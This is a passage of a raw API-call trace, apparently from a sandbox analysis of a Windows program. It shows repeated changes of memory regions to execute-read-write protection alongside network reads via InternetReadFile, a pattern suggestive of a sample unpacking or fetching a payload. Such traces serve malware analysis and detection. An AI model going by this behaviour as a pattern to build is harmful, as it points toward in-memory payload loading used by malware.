BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.272] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.277] VirtualFree (lpAddress=0x1e8a0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0143.281] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.337] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.345] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.354] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.370] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.387] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.404] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.467] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.501] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.515] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.527] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.565] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.572] VirtualAlloc (lpAddress=0x1eda0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1eda0000 [0143.578] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.720] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.736] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.760] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.855] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.883] VirtualFree (lpAddress=0x1e8c4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0143.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.927] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.966] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0143.997] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0144.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.018] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.026] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.035] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0144.058] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.125] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.134] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.148] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.178] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.183] VirtualAlloc (lpAddress=0x1e8c4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e8c4000 [0144.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.201] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.211] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.220] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.221] VirtualFree (lpAddress=0x1e8b0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0144.222] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.222] VirtualAlloc (lpAddress=0x1edb0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1edb0000 [0144.223] VirtualFree (lpAddress=0x1e8d4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.224] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0144.225] VirtualAlloc (lpAddress=0x1e7e4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7e4000 [0144.226] VirtualFree (lpAddress=0x1e8c0000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0144.226] VirtualAlloc (lpAddress=0x1edc0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1edc0000 [0144.227] VirtualFree (lpAddress=0x1e7f4000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.228] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0144.228] VirtualAlloc (lpAddress=0x1e7f4000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e7f4000 [0144.229] VirtualFree (lpAddress=0x1e7e4000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0144.230] VirtualAlloc (lpAddress=0x1edd0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1edd0000 [0144.230] VirtualFree (lpAddress=0x1e804000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.233] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x418000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.234] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.235] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0144.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.235] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0144.236] VirtualAlloc (lpAddress=0x1e804000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e804000 [0144.237] VirtualFree (lpAddress=0x1e7f0000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0144.238] VirtualAlloc (lpAddress=0x1ede0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ede0000 [0144.238] VirtualFree (lpAddress=0x1e814000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.239] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x10044) returned 1 [0144.239] VirtualAlloc (lpAddress=0x1e814000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e814000 [0144.241] VirtualFree (lpAddress=0x1e800000, dwSize=0x10000, dwFreeType=0x4000) returned 1 [0144.241] VirtualAlloc (lpAddress=0x1edf0000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1edf0000 [0144.242] VirtualFree (lpAddress=0x1e824000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0144.243] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1e7ceda4, dwNumberOfBytesToRead=0x10064, lpdwNumberOfBytesRead=0x1e7dfc8c | out: lpBuffer=0x1e7ceda4*, lpdwNumberOfBytesRead=0x1e7dfc8c*=0x6098) returned 1 [0144.243] VirtualAlloc 